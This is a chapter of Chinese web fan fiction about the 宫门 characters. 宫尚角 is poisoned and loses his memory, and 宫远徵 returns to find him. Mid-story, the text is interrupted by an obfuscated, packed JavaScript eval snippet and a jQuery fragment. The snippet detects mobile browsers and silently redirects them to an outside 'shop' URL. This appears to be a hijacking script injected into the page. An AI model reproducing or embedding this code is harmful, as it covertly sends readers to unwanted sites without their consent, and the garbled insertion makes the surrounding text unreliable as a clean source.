(四十九)
“如果说,我的内力,加上溯雪绝,还能助你再撑上一段时间呢?”
炭火烧得旺盛,阵阵热浪让人有些呼吸不畅。雪公子盯着目光迷离的宫尚角看了半晌,又转头望望大汗淋漓的金繁,不由得庆幸来前将大氅留在了月长老那里:“溯雪绝和苦寒三川经都是至阴心法,最忌燥热。地龙这种烧法,你们也不不怕烧死他?”
金繁一脸无辜地小声嘟囔:“他现在不知冷热,这不是怕他……”
“……撑多久?”被讨论的正主用微弱的音量打断两人,“……一天?三天?……十天?……”
“自然是,撑到我撑不住为止。”雪公子扭回头,金复正从他身后的火笼默默取走两块银炭,“整个宫门,修习过溯雪绝的不超五人,能为你续命的就我一个,否则雪长老也不会放我离开后山。”
“……撑不住,会怎样?……”
“我若撑不住,你自然是死了。”
榻上人看上去昏昏沉沉,可他不说话,反倒令讳言者无法继续隐瞒:“——放心,我不是月长老,没打算给你陪命,只是没了葬雪心经托底,我也很难再恢复原本的功力。当然还有另一种可能,你根本承受不住我的内力,在此之前便爆体而亡,那样我会受到反噬,幸运的话,也不会死。”
一个近乎于笑的气音。昏昧的天光在宫尚角脸上留下斑斑驳驳的影子。
“你觉得很荒谬?”
“……角宫这样做生意……宫门,早就败光了……”
“给自己下异化之毒就不荒谬么?”
“……好歹,不必再连累别人……”
“混账话!”
雪宫的宫主向来不形于色,眼下的迫切却已浮上眉睫:“我真不懂,你掏心掏肺为了宫门,千辛万苦熬到今日,一世英名敌不过风言风语,现下连死都不得安生……你图什么?”
“……若能借此查明异化真相……那便值得……”正因如此,他才一定要见月长老。
雪公子被彻底气笑了:“那宫远徵呢?宫远徵又算什么?顶着天大的压力当了宫门‘叛徒’,到现在还消息全无。待他从无锋总部回来,发现他哥哥竟成了异化人,你怎么解释?——你让我们如何对得起他?”
“……远徵他……去了无锋总部?!……”若非实在没有力气,宫尚角这句话该是吼出来的。
四道目光同时投向金繁,令后者顿时生出几分慌乱:“雪公子,你说你告诉他干什么……”
宫尚角躺不住了。金复手忙脚乱接住差点被掀翻的药碗,对着那一地触目惊心的鲜血颤声嗫嚅:“公子你别生气……执刃不让我们说,就是怕……”
雪公子眼疾手快将宫尚角按回榻上,以自身内力护住他的心脉:“止念!宫远徵死不了,你喘不上这口气可就真没了!”
宫尚角还没糊涂到不知利害,立即闭目调息。来自雪宫的至纯心法随着溯雪绝运转周身大穴,好半晌,总算让他平复些许。
“你们到底什么毛病!都这个节骨眼了,还以为瞒着就能万事大吉?”雪公子于百忙之中咬紧了后槽牙。
金繁灰头土脸地挨了骂,生怕打断两人的内息,自觉移向门口:“我这就去把执刃叫回来……”
宫尚角重新睁开眼。他还说不出话,噀血的殷红泛在眼眶中,无言昭示着他此刻唯一的执念。
雪公子了然叹了口气,叫住金繁:“你先去找月长老,告诉他做好准备。”
他撤去内息,扶稳那在奄奄一息之间仍没有一丝妥协的人,一字字说道:“就知道劝不动你,可有一条——
“你若变成那种东西,我会亲手了结了你!”
*
腊月二十九日,宫门执刃夫人云为衫自奉节采买归来,大张旗鼓返回白帝。最初人皆以为是临时置办年货,直至目睹梓棺入城,这才恍然大悟是为谁准备,于是纷纷扼腕叹息。
同一时间,宫远徵避开众多耳目,自后墙外的深林翻入白帝城别院。宫子羽早早在此接应,见人一身狼狈,忙询问发生了什么、是否有恙。宫远徵轻描淡写交代了前情,又简要说了他与两个云为衫如何诱使无锋首领现身,说服他相信他们。
“这么说,你们还是没有见到无锋首领本人?”
“是。他一直藏身暗处,借峡谷峭壁传声,别说身形样貌,连男女都无法分辨。我问过上官浅,先前审江辞时他也是这么说的,看来的确没人见过无锋首领的真面目。”
“那你能确定他相信你了?”
“有云为衫救场,应该不算露馅,只是……”
宫子羽已明白他要说什么, 担忧地皱了皱眉:“我知道,阿云被扣下了,回来的人不是她。”
宫远徵点点头,神色间除了疲惫亦多出几分焦虑:“金凝就在那附近守着,我已让他想办法接应。但想要完全取得无锋首领的信任,只怕有些麻烦……”
“什么意思?”
“他要我给哥哥下异化之毒!”
内院中似乎传来些动静,宫远徵警觉地顿住步子,没有注意宫子羽的面色忽然变得十分古怪。冬日庭树枝干稀疏,几乎令人无处遁形,但宫远徵实在太累,已顾不得这许多,便就地坐下,委身于树影:“若换作别的什么毒,我大可直接让哥哥假死脱身,唯有这异化之毒我全无头绪——现有事例都是死人复生,没人知道活人中了这毒会发生什么。我们骗不过无锋首领,可总不能真的给哥哥下毒吧?”
“这个,远徵弟弟倒是不必太担心……”天上又稀稀落落滴下几点雨来,宫子羽做贼心虚地掸落肩头并不存在的雨水,没敢朝宫远徵的方向看,“你连日奔波,又受了伤,不如先好好睡上一觉。明日便是除夕,等过了年,我们再从长计议。”
宫远徵终于觉察出不对劲,“噌”得一下站起来:“我哥呢?我先去看过他才安心!”
宫子羽用半截身子拦住他的去路,低声做最终提醒:“我可以带你见他,但你最好换身衣服,做好准备再去……主要是,别吓着他……”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240049|197686||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
这违背常理的遣词令宫远徵心中警铃大作:“宫子羽,你到底干了什么?!”
“别!我可做不出这种事!”宫子羽臊眉耷眼地拒绝宫远徵扣给他的罪状,将手一摊,索性不再隐瞒,“异化之毒影响的是人的脑子,他变成这样,你我都有责任……月长老说现有的情况维持不了多久,我们必须尽快找到解毒之法,否则他心智全失,可就麻烦了!”
“——不过,就目前而言,对尚角哥哥或许并不完全是件坏事。”
*
雨如悬线,宫尚角正站在内院当中,怔怔望天。
宫远徵使劲揉了揉眼——他没看错,他的哥哥虽然仍面色苍白、形销骨立,但的确是好端端地站在那里。而哥哥对面,依次站着雪公子、金繁、金复、宫岚角和宫岸角。每个人在看到他时,都露出了异样的神情。
宫尚角显然也察觉到他,慢慢将视线移过来——墨色瞳孔朦胧地映射着宫远徵自己的身影,以及他从未在哥哥眼中见到过的、如同看陌生人一般的迷茫和警惕。
雪公子递来一把多余的伞,意味深长地凝了宫远徵一眼,率先开口:“角公子,雨下大了,我们进去吧。”
金繁试探着向前迈了一步,语声姿态中带着安抚和诱哄:“是啊,你等的人也回来了。你先进屋去躺躺,好不好?”
宫尚角不理他们,瞬也不瞬地盯着青衣少年撑开伞,一步步朝他走近。
“我等的人……是你?”他的音调似乎比平时略高一些,整个人的气场也与素日里完全不同。
宫远徵小心翼翼地停在他身前,用伞填补两人之间的距离,以尽可能平稳柔和的目光与他交汇:“哥哥不记得我了么?”
“哥哥?……”
宫尚角神色闪动,似在勉力回忆,两点细雨顺着伞骨,依次滑落他流畅挺拔的鼻峰:“是……朗弟弟?”
宫远徵的心随之坠入胃袋,但还不待作答,对面又兀自摇头否决了自己:“不,朗弟弟已经死了……”
他看见他的身形在风中摇曳,听见他埋藏在雨声中的哽咽。细密的针雨仿佛穿透油纸伞盖,氤氲的水雾瞬间在少年人的眼中漫溢。
宫尚角怔愣着后退一步,险些退入雨幕。执伞的手立即平伸过来,打伞的人不消片刻便被冷雨浇湿。
于是泪水混着雨水,越过壅塞的识海堤岸,冲破闸门,倾泻而下。宫远徵在模糊的知觉中感受到一只冰凉的手,试图用仅存的气力将他拉近。
“远徵?你是宫远徵,对吗?……”这一次,宫尚角的声音多了七分笃定,少了三分迟疑。
宫远徵情不自禁地冲进伞里,一把拥住他的哥哥,将头埋进那冷硬嶙峋却亲切熟稔的肩窝。
衰羸的躯体不堪重负地晃了晃:“你都……长这么大了么?”那声音透着几分艰涩,似乎在自责没有立即认出弟弟。
少年人将瘦劲有力的臂膀收紧:“是啊,我都这么大了呢……”
“所以,从今往后,换我来保护你,好吗?”